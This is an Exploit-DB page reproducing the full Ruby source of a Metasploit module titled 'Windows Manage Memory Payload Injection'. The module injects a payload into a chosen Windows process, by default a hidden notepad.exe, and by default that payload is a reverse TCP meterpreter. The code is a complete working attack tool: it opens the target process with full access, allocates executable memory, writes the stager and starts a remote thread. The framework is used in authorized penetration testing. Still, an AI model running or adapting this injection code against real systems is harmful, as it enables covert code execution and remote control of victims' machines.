Microsoft Windows – Manage Memory Payload Injection (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24366/
  • ##
    # ## This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rex'
    require 'msf/core/exploit/exe'
    
    class Metasploit3 < Msf::Exploit::Local
    	Rank = ExcellentRanking
    
    	def initialize(info={})
    		super( update_info( info,
    			'Name'=> 'Windows Manage Memory Payload Injection',
    			'Description' => %q{
    					This module will inject a payload into memory of a process.If a payload
    				isn't selected, then it'll default to a reverse x86 TCP meterpreter.If the PID
    				datastore option isn't specified, then it'll inject into notepad.exe instead.
    			},
    			'License' => MSF_LICENSE,
    			'Author'=>
    				[
    					'Carlos Perez <carlos_perez[at]darkoperator.com>',
    					'sinn3r'
    				],
    			'Platform'=> [ 'win' ],
    			'SessionTypes'=> [ 'meterpreter' ],
    			'Targets' => [ [ 'Windows', {} ] ],
    			'DefaultTarget' => 0,
    			'DisclosureDate'=> "Oct 12 2011"
    		))
    
    		register_options(
    			[
    				OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
    				OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
    			], self.class)
    	end
    
    	# Run Method for when run command is issued
    	def exploit
    		@payload_name = datastore['PAYLOAD']
    		@payload_arch = framework.payloads.create(@payload_name).arch
    
    		# syinfo is only on meterpreter sessions
    		print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
    
    		pid = get_pid
    		if not pid
    			print_error("Unable to get a proper PID")
    			return
    		end
    
    		if @payload_arch.first =~ /64/ and client.platform =~ /x86/
    			print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
    			print_error("Migrate to an x64 process and try again.")
    			return false
    		else
    			inject_into_pid(pid)
    		end
    	end
    
    	# Figures out which PID to inject to
    	def get_pid
    		pid = datastore['PID']
    		if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
    			print_status("Launching notepad.exe...")
    			pid = create_temp_proc
    		end
    
    		return pid
    	end
    
    
    	# Determines if a PID actually exists
    	def has_pid?(pid)
    		procs = []
    		begin
    			procs = client.sys.process.processes
    		rescue Rex::Post::Meterpreter::RequestError
    			print_error("Unable to enumerate processes")
    			return false
    		end
    
    		pids = []
    
    		procs.each do |p|
    			found_pid = p['pid'] 
    			return true if found_pid == pid
    		end
    
    		print_error("PID #{pid.to_s} does not actually exist.")
    
    		return false
    	end
    
    	# Checks the Architeture of a Payload and PID are compatible
    	# Returns true if they are false if they are not
    	def arch_check(pid)
    		# get the pid arch
    		client.sys.process.processes.each do |p|
    			# Check Payload Arch
    			if pid == p["pid"]
    				vprint_status("Process found checking Architecture")
    				if @payload_arch.first == p['arch']
    					vprint_good("Process is the same architecture as the payload")
    					return true
    				else
    					print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
    					return false
    				end
    			end
    		end
    	end
    
    	# Creates a temp notepad.exe to inject payload in to given the payload
    	# Returns process PID
    	def create_temp_proc()
    		windir = client.fs.file.expand_path("%windir%")
    		# Select path of executable to run depending the architecture
    		if @payload_arch.first== "x86" and client.platform =~ /x86/
    			cmd = "#{windir}\\System32\\notepad.exe"
    		elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
    			cmd = "#{windir}\\System32\\notepad.exe"
    		elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
    			cmd = "#{windir}\\Sysnative\\notepad.exe"
    		elsif @payload_arch.first == "x86" and client.platform =~ /x64/
    			cmd = "#{windir}\\SysWOW64\\notepad.exe"
    		end
    
    		begin
    			proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
    		rescue Rex::Post::Meterpreter::RequestError
    			return nil
    		end
    
    		return proc.pid
    	end
    
    	def inject_into_pid(pid)
    		vprint_status("Performing Architecture Check")
    		return if not arch_check(pid)
    
    		begin
    			print_status("Preparing '#{@payload_name}' for PID #{pid}")
    			raw = payload.generate
    
    			print_status("Opening process #{pid.to_s}")
    			host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
    			if not host_process
    				print_error("Unable to open #{pid.to_s}")
    				return
    			end
    
    			print_status("Allocating memory in procees #{pid}")
    			mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
    
    			# Ensure memory is set for execution
    			host_process.memory.protect(mem)
    
    			print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
    			print_status("Writing the stager into memory...")
    			host_process.memory.write(mem, raw)
    			host_process.thread.create(mem, 0)
    			print_good("Successfully injected payload in to process: #{pid}")
    
    		rescue Rex::Post::Meterpreter::RequestError => e
    			print_error("Unable to inject payload:")
    			print_line(e.to_s)
    		end
    	end
    
    end